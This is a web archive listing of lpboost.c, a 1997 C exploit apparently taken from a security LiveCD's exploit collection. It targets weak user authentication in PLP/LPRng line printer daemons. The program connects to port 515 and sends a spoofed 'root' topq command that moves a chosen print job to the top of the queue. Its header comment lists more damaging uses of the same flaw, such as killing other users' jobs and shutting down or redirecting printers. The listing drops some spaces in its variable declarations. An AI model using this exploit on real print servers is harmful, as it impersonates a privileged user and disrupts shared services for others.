home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / lpd / lpboost.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  127 lines

  1. /*
  2.  * lpboost.c
  3.  *
  4.  * Simple  exploit  to  demonstrate  problem  with PLP/LPRng  user
  5.  * `authentication': boost your print job's priority by moving  it
  6.  * to the top of the queue.
  7.  *
  8.  * This is the most harmless exploit of this problem. More serious
  9.  * ones  include circumvention  of the  accounting system, killing
  10.  * other  users' jobs,  shutting down  printers, redirecting them,
  11.  * etc.
  12.  *
  13.  * Copyright (C) 1997, Olaf Kirch <okir@lst.de>
  14.  */
  15.  
  16. #include <sys/types.h>
  17. #include <sys/socket.h>
  18. #include <netinet/in.h>
  19. #include <arpa/inet.h>
  20. #include <netdb.h>
  21. #include <string.h>
  22. #include <stdio.h>
  23. #include <unistd.h>
  24. #include <errno.h>
  25.  
  26. static int  doconnect(char *hostname);
  27. static void dosend(int fd, unsigned char ch, char *string);
  28.  
  29. int
  30. main(int argc, char **argv)
  31. {
  32.   charbuffer[8192];
  33.   charhostbuf[256], *hostname = hostbuf;
  34.   int fd;
  35.  
  36.   if (argc == 4)
  37.     {
  38.       hostname = argv[3];
  39.     }
  40.   else if (argc != 3)
  41.     {
  42.       fprintf(stderr, "usage: lpboost <printer> <job> [hostname]\n");
  43.       exit(1);
  44.     }
  45.   else
  46.     {
  47.       /* If lpd.perms allows queue manipulation only from
  48.        * the local host (SERVER keyword), must use FQDN
  49.        * rather than localhost (127.0.0.1) */
  50.       gethostname(hostbuf, sizeof(hostbuf));
  51.     }
  52.  
  53.   if ((fd = doconnect(hostname)) < 0)
  54.     {
  55.       fprintf(stderr, "Failed to connect to %s: %s\n",
  56.               hostname, strerror(errno));
  57.       exit(1);
  58.     }
  59.  
  60.   /* Assemble control message */
  61.   sprintf(buffer, "%s %s topq %s %s",
  62.           argv[1],/* printer */
  63.           "root", /* user */
  64.           argv[1],/* printer */
  65.           argv[2]);   /* job # */
  66.  
  67.   /* Transmit control message and pick up status */
  68.   dosend(fd, 6, buffer);
  69.  
  70.   exit (0);
  71. }
  72.  
  73. static int
  74. doconnect(char *hostname)
  75. {
  76.   struct hostent  *hp;
  77.   struct sockaddr_in sin;
  78.   int fd;
  79.  
  80.   if (!(hp = gethostbyname(hostname)))
  81.     {
  82.       fprintf(stderr, "%s: unknown host\n", hostname);
  83.       exit(1);
  84.     }
  85.  
  86.   memset(&sin, 0, sizeof(sin));
  87.   sin.sin_family = AF_INET;
  88.   sin.sin_addr = *(struct in_addr *) hp->h_addr;
  89.   sin.sin_port = htons(515);
  90.  
  91.   if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
  92.     {
  93.       perror("socket");
  94.       exit(1);
  95.     }
  96.   if (connect(fd, (struct sockaddr *) &sin, sizeof(sin)) < 0)
  97.     {
  98.       perror("connect");
  99.       exit(1);
  100.     }
  101.  
  102.   return fd;
  103. }
  104.  
  105. static void
  106. dosend(int fd, unsigned char ch, char *string)
  107. {
  108.   charbuffer[256], cr = '\n';
  109.   int slen = string? strlen(string) : 0;
  110.  
  111.   if (write(fd, &ch, 1) != 1 || (string && (write(fd, string, slen) != slen || write(fd, &cr, 1) != 1)))
  112.     {
  113.       perror("write");
  114.       exit(1);
  115.     }
  116.  
  117.   while ((slen = read(fd, buffer, sizeof(buffer)-1)) > 0)
  118.     {
  119.       buffer[slen] = '\0';
  120.       fprintf(stderr, "lpd: %s\n", buffer);
  121.     }
  122.   if (slen == 0 || errno == EPIPE)
  123.     return;
  124.   perror("read (errmsg)");
  125.   exit(1);
  126. }
  127.